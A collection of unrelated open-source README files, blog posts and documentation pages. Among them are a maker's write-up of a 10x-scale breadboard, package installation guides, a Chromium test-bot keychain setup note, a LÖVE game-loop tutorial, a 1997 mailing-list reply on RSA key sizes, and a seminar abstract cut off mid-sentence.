text:
---
title: "The Bigger, Better Breadboard"
layout: post
images: /images/bigger-better-breadboard
---

TL;DR: This project is a breadboard, blown up to 10x scale, and fitted with a whole mess of kid-and workshop friendly components. Why? For science!  And workshops, demos and other hands-on events where electronics should be played with.
![The Bigger Better Breadboard in action][tldr]

For the full files, check out the github page:
https://github.com/tekdemo/bigger-better-breadboard

### Conception:
While bantering about fun things we could build for the local Portland Mini Maker Faire, I thought one fun thing would be to simply make a normal breadboard huge.

One of the primary things I wanted to solve with this was the difficulty in explaining how a breadboard _works_. Anyone who's taught a workshop probably had the experience of seeing your pupils jam things in a breadboard without understanding what's happening. Or, conversely, simply mimicking an example, because in theory, that _should_ work. Something large enough to just look at would dramatically simplify this by making the board explain itself a bit better.

One of the other things (back to workshops), is helping demonstrate circuits to a group. Regular breadboards require a lot of hunkering down around a master, which really limits the working size of the class.

### Stage 1: Planning Potential Parts
First up, BOM selection. Since this happens to be a breadboard, the connectors we went with looked like the major primary cost driver. We had planned on building 3, so that turns out to be a LOT of female connectors.
The first thing we looked at was potentially using a headphone jack, since it was one of the cheapest connectors we could find, and also very durable. However, after scrolling through pages of connectors on Digikey and mouser, we got ruled out by one critical issue.
![How do you build with this?][headphone-jack]
The total lack of panel-mount headphone jacks meant that the eventual assembly process would consist of some supplemental support to align them with the mounting plate. Actually wiring them would be another issue, since they all would have either SMD or through hole pins, neither of which is great to solder to freehand. So, assembly concerns ruled this out.

Laen to the rescue with a great suggestion: Banana plugs! They're a bit more expensive (~30%), but exactly the form factor we need. Keyed to not spin, bolt nicely to the mounting plate, and crazy amounts of durable.
![This half looks nothing like a banana][banana-plug]

Since that's essentially the only major part, we run to the build stage and get cracking on the board.

### Stage 2: Building the breadboard

Since I have access to a laser cutter and boatloads of panel backing board^, the design process basically was "how to get this into my laser". With the components selected, I wanted to quickly iterate on the basic design. First up was a small jig to figure out the hole size for the banana plugs.
![Only slightly larger than the datasheet suggests][test-fit]
Success! with a few minutes of lazing, the best size was empirically found at 0.03" extra space all around. On to the next stage, a full sized prototype to see where I would go wrong next

![It's recycled, that makes the weird appearance OK][cut-test]
A few more minutes on the laser, and another prototype is all set up. And, here comes discovery number 1: I _really_ need to rotate some of the plugs. The top side is totally round, which is great. However, the bottom is very directional, and connecting the wires would be very difficult if they're the wrong way. So, a revision on the board files, and back to work.

![Fits like a charm!][proto-assembley1]

With the general layout figured out, I wanted to start looking at how to color everything. Since I have a lot of room, it would be helpful to highlight the connections that a breadboard makes using colors. So, to that end, I whipped up a small stencil to figure out the width of the lines.
![chop chop!][stencil-test-cutting]
![][stencil-test]
Fits quite nicely, and the connectors I had put in work great for aligning it. But, in practice actually pretty hard to get a good feel for how wide the lines are with this, so I wound up replacing it for a stencil to get the feel of it. To the laser cutter!

![Almost like instant paint][paper-stencil]
THIS looks much better. Having the stencil over the entire board really made the lines pop. Initially, I wasn't too thrilled about the chamferring on the edges, so that got a little tweak before the full sized stencils.
![Laser Action shot!][stencil-cutting]

![Fully painted prototype][painted-prototype]
Dang! You can see the really nasty streaks on this one where the paint looks blotchy. Remember the bit where I said this is panel-backing board? Well, in actuality, it's basically pressed cardboard, and a bit of glu. One of the things they do with it is drill lots of holes into it, and after that it's not too useful to the fab, so they use it to protect the panels during shipping. And to hold the stack of panels and backing board together, they use masking tape. Those splotches? That's where the tape peeled up the cardboard. So, that's certainly a bit of a bummer. But, not enough to be a deal breaker, so on to assembly!

![A test fit for the cable! Works wonderfully!][first-plug]

![Assembly of all 180 plugs on this board. Took a while...][plug-assembly]

![Bus wire being put to use][wire-placement]
Remember that bit where I mentioned rotating the part? This is where it matters. If I hadn't, then the power rails would be oriented just like the row connections, and assembly would involve a lot more weaving wire.

![POST-ASSEMBLY ACTION SHOT][post-assembly-action-shot]
After all the solder joints, I was VERY glad to get to this point. Which is to say, done with 1 of the 3 breadboards.

### Stage 3: Adding components
Since a breadboard is basically useless without components, the next step was to make some components. The original idea was to fabricate full 3D models of these. However, the Resistor kind of turned out with some huge logistical difficulties.

![This was fairy boring to look at and also unpleasant to work with][resistor]

As a result, this was somewhat scrapped, and the PCB version was used instead.

One thing I made sure of for the components was that they'd be failsafe.

### Stage 4: Fail-resistant-LEDS
This part is fairly lengthy, so it's broken out in it's [own segment.](LED.md)

### Reception
Amazing! The project was a hit with the smaller crew, who could _finally_ jam random electronics together without causing any damage whatsoever. We had a great deal of mini makers play with this.

On the whole, I found that this was the most interesting to two different classes of people: Educators who were interested in seeing them for workshops, and parents. The latter came as a surprise. Parents had a lot of fun explaining the parts to their kids, who in turn loved ignoring them and plugging things in randomly.

### Hindsight

The connectors we went with _definitely_ played a more than significant role with respect to the look and feel of the project. This was one of those things where going forward, it's something I'll pay more attention to on my general projects.

This project was also one of the first time I really applied Adam Savage's advice of "If you're going to build one, build 4". At every stage, I wound up having a couple extra on hand, which was great when things didn't quite go as expected. Having the spares seriously reduced my stress on this, since it was much less important that I have every bit on hand make it through intact. If something needed to get destroyed to figure out, no big deal! This was hugely helpful in fabricating the LEDs, since there was a LOT of first time exposure to some of those concepts.

[tldr]: "{{images}}/2014-08-21 21.48.33.jpg"
[fit-test]: "{{images}}/2014-07-25 20.13.13.jpg"

[cut-test]: "{{images}}/2014-07-26 16.34.03.jpg"
[proto-assembley1]: "{{images}}/2014-07-26 16.36.29.jpg"
[stencil-test]: "{{images}}/2014-07-26 22.09.15.jpg"
[stencil-test-cutting]: "{{images}}/2014-07-26 22.04.42.jpg"

[paper-stencil]: "{{images}}/2014-07-27 14.49.03.jpg"
[stencil-cutting]: "{{images}}/2014-07-27 16.51.32.jpg"

[color-test]: "{{images}}/2014-08-01 18.10.40.jpg"

[painted-prototype]: "{{images}}/2014-08-04 19.24.58.jpg"
[first-plug]: "{{images}}/2014-08-05 00.06.47.jpg"

[plug-assembly]: "{{images}}/2014-08-21 21.48.33.jpg"

[post-assembly-action-shot]: "{{images}}/2014-09-10 00.58.10.jpg"

[resistor]: "{{images}}/2014-09-06 22.12.02.jpg"]


text:
# grunt-jekylls

> Jekyll file generator

## Getting Started
This plugin requires Grunt `~0.4.4`

If you haven't used [Grunt](http://gruntjs.com/) before, be sure to check out the [Getting Started](http://gruntjs.com/getting-started) guide, as it explains how to create a [Gruntfile](http://gruntjs.com/sample-gruntfile) as well as install and use Grunt plugins. Once you're familiar with that process, you may install this plugin with this command:

```shell
npm install grunt-jekylls --save-dev
```

Once the plugin has been installed, it may be enabled inside your Gruntfile with this line of JavaScript:

```js
grunt.loadNpmTasks('grunt-jekylls');
```

## The "jekylls" task

### Overview
In your project's Gruntfile, add a section named `jekylls` to the data object passed into `grunt.initConfig()`.

```js
grunt.initConfig({
  jekylls: {
    options: {
      // Task-specific options go here.
    },
    your_target: {
      // Target-specific file lists and/or options go here.
    },
  },
});
```

### Options

#### options.src
Type: `String`
Required

A string value that is used to find a template.

#### options.dest
Type: `String`
Default value: `'_[target]'`

A string value that is used as the destination path for target outputs files.

#### options.ext
Type: `String`
Default value: `'.markdown'`

A string value that is used as the extension for target outputs files.

Note: this options can be passed per target (overriding task options)

#### target.locals
Type: `Object`
Default value: `{}`

A template's locals object accessible with ````<%= %>```` delimiters.

### Usage Examples

#### Default Options
In this example, ````'_templates/post.txt'```` will be copied over to ````_post/yyyy-mm-dd-title-argument.markdown````. In addition, the template will be compiled with title, and date locals.
```js
grunt.initConfig({
	post: {
		options: {
			src: '_templates/post.txt',
		}
	}
});
```

#### Custom Options
In this example, ````'_templates/draft.txt'```` will be copied over to ````_drafts/yyyy-mm-dd-title-argument.txt````. In addition,
the template will be compiled with title, date, layout, and comments locals.
```js
grunt.initConfig({
	draft: {
		locals: {
			layout: 'draft',
			comments: true
		},
		options: {
			src: '_templates/draft.txt',
			dest: '_drafts', // defaults to '_draft'
			ext: '.txt'
		}
	}
});
```

## Contributing
In lieu of a formal styleguide, take care to maintain the existing coding style. Add unit tests for any new or changed functionality. Lint and test your code using [Grunt](http://gruntjs.com/).

## Release History
_(Nothing yet)_

license: MIT

repository: gruntjs-updater/grunt-jekylls

branch_name: refs/heads/master

extension: md

license_type: permissive

repo_name: gruntjs-updater/grunt-jekylls


text:
# Texico

[![Gem Version](https://badge.fury.io/rb/texico.svg)](https://badge.fury.io/rb/texico)
[![Build Status](https://travis-ci.org/seblindberg/texico.svg?branch=master)](https://travis-ci.org/seblindberg/texico)
[![Inline docs](http://inch-ci.org/github/seblindberg/texico.svg?branch=master)](http://inch-ci.org/github/seblindberg/texico)

Texico is created to suit my Latex workflow. It can be used to

- setup new projects,
- build existing projects and
- tag versions for release.

More functionality is planned.

## Installation

Building projects requires `latexmk`. You can install it by running

    $ tlmgr install latexmk

Then install Texico with

    $ gem install texico

## Usage

To setup a new project in the current directory, run

    $ texico init

You will be guided through the setup process. When it completes you will be able to build the project using

    $ texico

### Global Config

I find it useful to store my name and email address in the global config. You can either create a `.texico` file in your home directory and add the relevant fields, or run

    $ texico config --global author='Your Name'<EMAIL_ADDRESS>
## Development

After checking out the repo, run `bin/setup` to install dependencies. Then, run `rake test` to run the tests. You can also run `bin/console` for an interactive prompt that will allow you to experiment.

To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org).

## License

The gem is available as open source under the terms of the [MIT License](http://opensource.org/licenses/MIT).

repository: seblindberg/texico

repo_name: seblindberg/texico


text:
# Cold-start measure
Simple application for AWS lambda function cold-start measurement.

Application measures the cold-start time by calculating the difference between cold and warm lambda invocations. The result is an average value from 10 measurements.

The results are provided for several memory size configurations. Be aware the application modifies the memory size of the provided lambda function.

Cold-starts are enforced by modifying lambda's function description.

## Requirements
* dotnet sdk 3.1
* aws cli

## Usage
Run the application providing the lambda function name as an argument.

```
Rozchmurzeni.ColdStartMeasure.exe my-lambda-function
```
## Sample output
```
128 MB: 11,4732 s
256 MB: 5,3842 s
512 MB: 2,7544 s
1024 MB: 1,451 s
2048 MB: 0,9834 s
3008 MB: 0,1958 s
```

repository: francelio/cold-start-measure

repo_name: francelio/cold-start-measure


text:
---
breadcrumbs:
- - /developers
  - For Developers
- - /developers/telemetry
  - 'Telemetry: Introduction'
page_name: telemetry-mac-keychain-setup
title: Telemetry Mac Keychain Setup
---

    These commands need to be run as the user that will be running the tests.

    These commands assume that the login keychain is unlocked (default on OSX)

    The password was generated via 16 random bytes, base 64 encoded. For test
    bots, I imagine the randomness doesn't matter, so I just chose a specific,
    arbitrary password. If the tests use official builds of Chrome, you'll need
    to replace "Chromium" with "Chrome" in the following instructions.

    ```none
    security delete-generic-password -s "Chromium Safe Storage" login.keychainsecurity add-generic-password -a Chromium -w "+NTclOvR4wLMgRlLIL9bHQ==" -s "Chromium Safe Storage" -A login.keychain
    ```

    If the default keychain settings have been changed, the following lines need
    to be run. Unfortunately, they require the user's password in plaintext, as
    well as knowledge of the current keychain password. (As long as no one has
    mucked with the keychain on the devices, these lines shouldn't be necessary)

    ```none
    security set-keychain-password -o [old_keychain_password] -p [user_login_password] login.keychainsecurity unlock-keychain -p [user_login_password] login.keychain
    ```

repository: iridium-browser/iridium-browser

repo_name: iridium-browser/iridium-browser


text:
---
id: 1154
title: How to reset Ventrillo settings back to default
date: 2012-09-28T10:41:34+00:00
author: Luke
layout: post
guid: http://techdrive.co.nz/?p=1154
permalink: /win/how-to-reset-ventrillo-settings-back-to-default/
dsq_thread_id:
  - "2543084587"
omc_review_enable:
  - "0"
omc_user_ratings_visibility:
  - "0"
omc_review_type:
  - stars
omc_criteria_display:
  - 'n'
omc_featured_post:
  - "0"
omc_comment_type:
  - wp
mfn-post-love:
  - "0"
post_views_count:
  - "13"
categories:
  - Windows
---
  1. Click Start
  2. Click Run
  3. Type in: **_%appdata%ventrilo_**
  4. Right click ventrillo2.ini
  5. Select Rename
  6. Name it something different like ventlol

_Make sure ventrilo is closed._

gha_language: SCSS

gha_license_id: MIT


text:
# vuepress-plugin-rightmenu

[![npm](https://img.shields.io/npm/v/@zolyn/vuepress-plugin-rightmenu?style=flat-square)](https://npmjs.com/package/@zolyn/vuepress-plugin-rightmenu) [![npmscope](https://img.shields.io/npm/dw/@zolyn/vuepress-plugin-rightmenu?style=flat-square)](https://npmjs.com/package/@zolyn/vuepress-plugin-rightmenu) [![author](https://img.shields.io/badge/author-Zorin-26a2ff?style=flat-square&logo=github)](https://github.com/Zolyn) [![license](https://img.shields.io/github/license/Zolyn/vuepress-plugin-rightmenu?style=flat-square)](https://github.com/Zolyn/vuepress-plugin-rightmenu)

vuepress-plugin-rightmenu is a context menu plugin for[Vuepress](https://v1.vuepress.vuejs.org/zh/), plugins use [Vuetify](https://github.com/vuetifyjs/vuetify) as UI framework,[PureCSS](https://github.com/pure-css/pure) as CSS framework.

## Image preview

<EMAIL_ADDRESS>Light mode<EMAIL_ADDRESS>Dark mode

## Demo

[Arcadia](https://blog.zorinchan.icu) (my blog)

## Features

-   Simple view of the Ui (based on the Vuetify library of Material Design).
-   Dark mode
-   Style coverage minimizes as long as possible (original theme coverage minimized)
-   Image link sniffing (image menu bar)
-   Link sniffing
-   Customizable

    1. Icon bar can be customized (icon, callback function)
    2. Default menu bar can be customized (title, click callback function)
    3. Specific menubar, e. g. for images and links can be customized (title, click callback function)
    4. Resident menu bar can be customized (title, click callback function)

-   Coming soon...

## Getting Started

### Installation

```bash
# npm
npm install --save-dev @zolyn/vuepress-plugin-rightmenu

# yarn
yarn add -D @zolyn/vuepress-plugin-rightmenu

# pnpm
pnpm add -D @zolyn/vuepress-plugin-rightmenu
```

### Configuration

Use default configuration

Object style

```js
// .vuepress/config.js
module.exports = {
    plugins: {
        '@zolyn/rightmenu': {},
    },
};
```

Babel style

```js
// .vuepress/config.js
module.exports = {
    plugins: [['@zolyn/rightmenu']],
};
```

## Documentation

[Here](https://blog.zorinchan.icu/docs/vuepress-plugin-rightmenu/)

# Todo

-   [ ] Issue template
-   [ ] CONTRIBUTING.md
-   [ ] All menu bars support icons customization
-   [ ] Sniffer function customization
-   [ ] Partial style customization

## License

[MIT License](https://mit-license.org/)

[![FOSSA Status](https://app.fossa.com/api/projects/git%2Bgithub.com%2FZolyn%2Fvuepress-plugin-rightmenu.svg?type=large)](https://app.fossa.com/projects/git%2Bgithub.com%2FZolyn%2Fvuepress-plugin-rightmenu?ref=badge_large)

branch_name: refs/heads/main


text:
# Min

Checks if the given object has more or the same expected number of keys

```typescript
import Schema from "@foxify/schema";

const Validator = Schema.object().min(2);
```

repository: foxifyjs/schema

gha_language: TypeScript

repo_name: foxifyjs/schema


text:
# Game loop

Another aspect common with game engines is that there is a loop (like a while loop) that continuously runs and keeps the game going.
The order that things happen in varies, but the contents more of less look like:

1. Game is started. Load game files.
2. Begin loop.
3. Check for input from keyboard, joystick, or other peripherals.
4. Tick time in game.
5. Redraw the screen.
6. Go back to step 2.

During steps in the game loop, LÖVE invokes certain functions inside the `love` table.
For instance, every time the screen needs to be re-drawn, the game loop invokes `love.draw()` if you defined it.
In the step where LÖVE checks for user input, if there is user input, it invokes `love.keypressed(PRESSED_KEY)` if we defined it.
The `PRESSED_KEY` that is passes in of course depends on what key the user pressed.
When defining `love.keypressed`, it may look something like this:

```lua
love.keypressed = function(pressed_key)
  print('key was pressed:', pressed_key)
end
```

Let's modify main.lua to have a contrived example:

```lua
local current_color = {1, 1, 1, 1}

love.draw = function()
  local square = {100, 100, 100, 200, 200, 200, 200, 100}

  -- Initialize the square with the default color (white)
  love.graphics.setColor(current_color)
  -- Draw the square
  love.graphics.polygon('fill', square)
end

love.keypressed = function(pressed_key)
  if pressed_key == 'b' then
    -- Blue
    current_color = {0, 0, 1, 1}
  elseif pressed_key == 'g' then
    -- Green
    current_color = {0, 1, 0, 1}
  elseif pressed_key == 'r' then
    -- Red
    current_color = {1, 0, 0, 1}
  elseif pressed_key == 'w' then
    -- White
    current_color = {1, 1, 1, 1}
  end
end
```

When you press any of the keys, "b", "g", "r", or "w", our function `love.keypressed` will be invoked and the variable `pressed_key` will be a string matching one of our letters.
This changes `current_color`, which is changing the color being drawn in `love.draw`.

In the next section, let's see how LÖVE handles the "4. Tick time in game." step of the game loop.

## Exercises

- Try adding a few more colors to the program. To understand how `love.graphics.setColor` works, see [the documentation](https://love2d.org/wiki/love.graphics.setColor).
- Make is so that if the escape key is pressed, the function `love.event.quit` is invoked and the game exits. The string to use for the escape key can be found on the wiki's [KeyConstant](https://love2d.org/wiki/KeyConstant) page. Spoilers: the solution can be seen in the next section.

gha_language: Lua


text:
---
layout: post
title:      "Scraping:  Retrieving Useful Data from HTML"
date:       2020-07-11 16:39:29 +0000
permalink:  scraping_retrieving_useful_data_from_html
---

Scraping is the process of parsing through a webg pages HTML and selecting specific, useful data.  While it would be easier to use an API, sometimes there is data we might need which is not available through an API.  In this case, using specific code to "scrape" a page can be helpful.

A gem called Nokogiri is useful for breaking down a pages HTML into many small pieces, which allows for easier precision in our coding.  From here, we can use a browser's element inspector to scan over the data that we are interested in.  Once we locate an object we want data from, we can look at the line of code y hovering over the object with our inspecter tool.  This allows us to see the line of code, and where it is nested in the HTML, so that we can apply a CSS selector to grab it.  We practiced using selectors to move through several layers of nested code.  It seems like a process that can get pretty tricky and complicated as one moves through deeper levels of nested code.  Being very precise, I would presume, is important in mastering scraping.

Sometimes a web page may have its HTML updated, and our scraping code may fail.  In this instance, we would have to go back and reprogram our scraping code.  However, updating some a scraper can often be more time-efficient than manually updating data.

extension: markdown


text:
# Contributing

Contributions of any size are welcome and encouraged. Contributions can come in
the form of comments, issues, pull requests, etc. If you haven't yet, please read
the [Code of Conduct](./CODE_OF_CONDUCT.md) before contributing.

## Comments/Code Reviews

Check out any outstanding issues or pull requests and contribute through
constructive questions, suggestions, and discussions. When reviewing pull
requests, pay attention to style, correctness, readability, etc. See the section
on pull requests below.

## Issues

Submit issues for any bugs you've found or suggestions you have for the code. Be
sure to check first to see if your issue has already been reported.

## Pull requests

Submit a pull request for any existing or new issue. The maintainers will strive
to give feedback as quickly as possible. All are encouraged to comment on and
discuss any open pull requests, as long as the discussion adheres to the
[Code of Conduct](./CODE_OF_CONDUCT.md). The following is a checklist to refer to
when submitting or reviewing a pull request.

1. Unit tests - Please write tests for all changes.
1. Code style - Follow the code style present in the repository. If a more
   detailed style guide becomes necessary, it can be added.
1. Commits - Provide detailed and properly formatted commit messages. Check out [5
   Useful Tips For A Better Commit Message](https://robots.thoughtbot.com/5-useful-tips-for-a-better-commit-message).
1. Versioning - The project maintainers should handle releases and version changes
   associated with them. For more information, see the [maintaining
   guide](./MAINTAINING.md).
1. Please update the [Change Log](./CHANGELOG.md) for any noteworthy changes. The
   latest version will appear as [x.x.x] until a maintainer updates it for
   deployment.

repository: migrating-ravens/RavenMigrations

gha_language: C#

repo_name: migrating-ravens/RavenMigrations


text:
There are 3 components to the environment.

The Backend REST services (deployed in Node)
The Solace Message Router providing the API Gateway and flow control
The Test Driver running in SOAP UI.

The setup of the three components should be performed in the following order:

1. Deploy the backend REST services to a node server
2. Modify then Deploy the routing configuration (modify the IP addresses the REST consumers pointing to the Node server in Step 1 above)
3. Import, modify and run the SoapUI project.  If you do not want to use SoapUI, instructions are provided for implementing these in a different REST client.

Setup order:

1. node-red-wwapper/RESTGet/start_backend.sh
2. SEMP_V2/readme.md
3. curl/semp/status/status.sh

## Notes
[bug] Need to activate the endpoints after creation
[bug] router mode (gateway) must be set

repository: philscanlon/BLUE-GREEN

gha_language: Batchfile

repo_name: philscanlon/BLUE-GREEN


text:
# CakePHP Datadog
[![Latest Stable Version](https://poser.pugx.org/snakano/cakephp-datadog/v/stable)](https://packagist.org/packages/snakano/cakephp-datadog)
[![Total Downloads](https://poser.pugx.org/snakano/cakephp-datadog/downloads)](https://packagist.org/packages/snakano/cakephp-datadog)
[![License](https://poser.pugx.org/snakano/cakephp-datadog/license)](https://packagist.org/packages/snakano/cakephp-datadog)

CakePHP 2.x Datadog plugin.

## Installation

Install datadog php tracer extension:\
https://docs.datadoghq.com/tracing/languages/php/

Install the plugin using composer:
```shell
composer require "snakano/cakephp-datadog:1.0.*"
```

## Usage

Load the plugin:
```php
CakePlugin::load('Datadog');
```

Add the Dispatcher Filter to the `bootstrap.php` file:
```php
Configure::write('Dispatcher.filters', array(
    'AssetDispatcher',
    'CacheDispatcher',
    'Datadog.DatadogFilter' // Add `DatadogFilter`
));
```

Add the service name to the `bootstrap.php` file:
```php
Configure::write('Datadog.serviceName', 'My App Name');
```

repository: SNakano/cakephp-datadog

repo_name: SNakano/cakephp-datadog


text:
# Queries Watch

An overview of the number of queries is output to the log and browser console.

`log/development.log`:

```
Queries total_count: 5, cached_count: 0, exec_count: 5, total_duration: 4.4ms
```

Browser console:

[![Image from Gyazo](https://i.gyazo.com/6cc0653c42ed02fa3b2cdb312897e40f.png)](https://gyazo.com/6cc0653c42ed02fa3b2cdb312897e40f)

## Usage

In `app/views/layout/application.html.haml`:

```haml
!!!
%html
  %head
    %title MyAPP
    = favicon_link_tag '/favicon.ico'
  %body
    = yield
    - if Rails.env.development?
      = queries_watch_summary
```

## Installation

Add this line to your application's Gemfile:

```ruby
gem 'queries_watch', group: 'development'
```

And then execute:

```
$ bundle
```

## Configuration

In `config/initializers/queries_watch.rb`, you can configure the following values.

```ruby
if Rails.env.development?
  QueriesWatch.configure do |config|
    config.warn_threshold = 30 # default: nil
    config.error_threshold = 100  # default: nil
  end
end
```

## License

The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).

## Code of Conduct

Everyone interacting in the QueriesWatch project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://github.com/aki77/queries_watch/blob/master/CODE_OF_CONDUCT.md).


text:
## Introduction

vtkPLYReader is a source object that reads polygonal data in Stanford
University PLY file format (see http://graphics.stanford.edu/data/3Dscanrep).
It requires that the elements "vertex" and "face" are defined. The "vertex"
element must have the properties "x", "y", and "z". The "face" element must
have the property "vertex_indices" defined. Optionally, if the "face" element
has the properties "intensity" and/or the triplet "red", "green", "blue", and
optionally "alpha"; these are read and added as scalars to the output data.
If the "face" element has the property "texcoord" a new TCoords point array
is created and points are duplicated if they have 2 or more different texture
coordinates.

## Methods

### extend

Method used to decorate a given object (publicAPI+model) with vtkPLYReader characteristics.

| Argument | Type | Description |
| ------------- | ------------- | ----- |
| **publicAPI** |
required | object on which methods will be bounds (public) |
| **model** |
required | object on which data structure will be bounds (protected) |
| **initialValues** |
required | (default: {}) |

### getBaseURL

### getDataAccessHelper

### getUrl

### loadData

| Argument | Type | Description |
| ------------- | ------------- | ----- |
| **options** |
required |  |

### newInstance

Method used to create a new instance of vtkPLYReader

| Argument | Type | Description |
| ------------- | ------------- | ----- |
| **initialValues** |
required | for pre-setting some of its content |

### parse

| Argument | Type | Description |
| ------------- | ------------- | ----- |
| **content** |
required |  |

### parseAsArrayBuffer

| Argument | Type | Description |
| ------------- | ------------- | ----- |
| **content** |
required |  |

### parseAsText

| Argument | Type | Description |
| ------------- | ------------- | ----- |
| **content** |
required |  |

### requestData

| Argument | Type | Description |
| ------------- | ------------- | ----- |
| **inData** |
required |  |
| **outData** |
required |  |

### setDataAccessHelper

| Argument | Type | Description |
| ------------- | ------------- | ----- |
| **dataAccessHelper** |
required |  |

### setUrl

| Argument | Type | Description |
| ------------- | ------------- | ----- |
| **url** |
required |  |
| **option** |
required |  |

repository: usApp-stAck/vtk-js

repo_name: usApp-stAck/vtk-js


text:
# SwiftWings

![Swift5.0](https://img.shields.io/badge/swift-5.0-blue.svg)
[![Version](https://img.shields.io/cocoapods/v/SwiftWings.svg?style=flat)](https://cocoapods.org/pods/SwiftWings)
[![License](https://img.shields.io/cocoapods/l/SwiftWings.svg?style=flat)](https://github.com/leacode/SwiftWings/blob/master/LICENSE)
[![Platform](https://img.shields.io/cocoapods/p/SwiftWings.svg?style=flat)](https://cocoapods.org/pods/SwiftWings)
[![Codecov](https://codecov.io/gh/leacode/SwiftWings/branch/master/graph/badge.svg)](https://codecov.io/gh/leacode/SwiftWings)

`SwiftWings` is A collection of Swift extensions. It support iOS, macOS, tvOS, watchOS. You can also integrate the framework in your server-side project by using Swift Package Manager.

## Requirements

- iOS 12.0+ / macOS 10.11+
- Swift 5.0+
- Watch OS 2.0+
- TV OS 9.0+
- Linux can run Swift

If you're supporting iOS 8+ and macOS 10.xx, you can specify version of v1.5

## Installation

### CocoaPods

[CocoaPods](https://cocoapods.org) is a dependency manager for Cocoa projects. You can install it with the following command:

```bash
$ gem install cocoapods
```

SwiftWings is available through [CocoaPods](https://cocoapods.org). To install
it, simply add the following line to your Podfile:

```ruby
use_frameworks!

target '<Your Target Name>' do
pod 'SwiftWings'
end
```

Then, run the following command:

```bash
$ pod install
```

### Carthage

[Carthage](https://github.com/Carthage/Carthage) is a decentralized dependency manager that builds your dependencies and provides you with binary frameworks.

You can install Carthage with [Homebrew](https://brew.sh/) using the following command:

```bash
$ brew update
$ brew install carthage
```

To integrate SwiftWings into your Xcode project using Carthage, specify it in your `Cartfile`:

```ogdl
github "leacode/SwiftWings"
```

Run `carthage update` to build the framework and drag the built `SwiftWings.framework` into your Xcode project.

### Swift Package Manager

The [Swift Package Manager](https://swift.org/package-manager/) is a tool for managing the distribution of Swift code. It’s integrated with the Swift build system to automate the process of downloading, compiling, and linking dependencies.

#### iOS/ MacOS:

To integrate `SwiftWings` into your project , specify it in `File > Swift Packages > Add`:

```
https://github.com/leacode/SwiftWings
```

From 1.6.0 the framework support Mac os  >= 11.0.

#### Server Side:

Add dependency in Package.swift:

```
dependencies: [
    .package(url: "https://github.com/leacode/SwiftWings.git", from: "1.9.0"),
]

...

.target(name: "App", dependencies: ["SwiftWings", ...]),

...

```

## List of Extensions

Extensions

Array+Subscript

Array+Data

Codable+JSON

Data+Extensions

Data+PrettyJSON

Data+MimeType

Date+Extensions

Int+Extensions

Mirror+Reflection

NSObject+Name

Optional+Transform

String+MD5

String+Modify

String+Subscript

String+Validation

## Author

**Chunyu Li**

- [Linked in](http://www.linkedin.com/in/春毓-李-96920b92/)
- [简书](https://www.jianshu.com/u/1c5cb3408b0f)
- [Twitter](https://twitter.com/leacode) / [Facebook](https://www.facebook.com/leacode.lea)

## License

`SwiftWings` is available under the MIT license. See the [LICENSE](https://github.com/leacode/SwiftWings/blob/master/LICENSE) file for more info.

repository: leacode/SwiftWings

repo_name: leacode/SwiftWings


text:
---
layout: default
---

# 1997-01-13 - Re: Why are 1024 bit keys the limit right now?

## Header Data

From<EMAIL_ADDRESS>To<EMAIL_ADDRESS>Message Hash: 1fcc6ad634c7dac5a2cbb392fdba52da691c55778b1e51b2b1c479c5405ab0d6

Message ID<EMAIL_ADDRESS>Reply To: _N/A_

UTC Datetime: 1997-01-13 15:46:10 UTC

Raw Date: Mon, 13 Jan 1997 07:46:10 -0800 (PST)

## Raw message

```
{% raw  %}From<EMAIL_ADDRESS>Date: Mon, 13 Jan 1997 07:46:10 -0800 (PST)
To<EMAIL_ADDRESS>Subject: Re: Why are 1024 bit keys the limit right now?
Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

> I am just starting at this. I know that part of RSA/PGP's strength comes from
> the size key you choose. What prevents someone from writting a 2048 bit key?
> Is it because computers can't handle it? Is 1024 top of  the prime number
> size right now? Am I way off track?

2048 bit keys are quite commonly used but the reason that arbitrarily
large keys are not good is because of the amount of time taken to
generate the keys then encrypt and decrypt messages with them, PGP
uses a hybrid system whereby the rsa algorithm encrypts a one time
session IDEA key, a longer RSA key would result in unacceptably long
waits for most users when encrypting and decrypting messages.

In the end it comes down to a trade off between speed and security
and 1024 bits is a sensible compromise for most uses.

  Datacomms Technologies web authoring and data security
       Paul Bradley<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"

{% endraw %}
```

## Thread

+ Return to [January 1997](/archive/1997/01)

+ Return to "[paul@fatmans.demon.co.uk](/authors/paul_at_fatmans_demon_co_uk)"

+ 1997-01-13 (Mon, 13 Jan 1997 07:46:10 -0800 (PST)) - Re: Why are 1024 bit keys the limit right now? -<EMAIL_ADDRESS>


text:
# Lost Treasures

A game about diving for coins in shallow waters for
[js13kGames][js13kgames] 2017.
Theme was "lost".

Play it [here][play].

[js13kgames]: http://js13kgames.com/entries/2017
[play]: http://hhsw.de/sites/LostTreasures

license: Unlicense

repository: markusfisch/LostTreasures

repo_name: markusfisch/LostTreasures


text:
# MusicXmlToMelody
Convert a MusicXML file to the main melody and chords information

Sample MusicXML from:
`https://freemidi.org/download2-11696-gemini-dream-moody-blues`

---
The following is the sample MusicXML image shown by MuseScore2.
![Alt text](/sample_score.png)

repository: smgal/MusicXmlToMelody

repo_name: smgal/MusicXmlToMelody


text:
A web server built using [Shelf](https://pub.dartlang.org/packages/shelf).

Created from templates made available by Stagehand under a BSD-style
[license](https://github.com/dart-lang/stagehand/blob/master/LICENSE).

run the server.dart file to serve the server.

### screenshot

![alt text](https://github.com/adar2378/blockbusterbd_api/blob/master/Capture.PNG)


text:
---
speaker: Hans Georg Feichtinger (Institute of Mathematics, University of Vienna, Austria)
title: "Time-frequency analysis and suitable function spaces"
date: 6 January, 2021
time: 4 pm
venue: Zoom (online)
series: "APRG Seminar"
website: https://math.iisc.ac.in/~aprg/index.php?id=seminar20-21
---

The key-point of this talk will be some exploration of
function spaces concepts arising from time-frequency analysis
respectively Gabor Analysis. Modulation spaces and Wiener
amalgams have proved to be indispensable tools in time-frequency
analysis, but also for the treatment of pseudo-differential
operators or Fourier integral operators.

More precisely, we will recall a short summary of the concepts
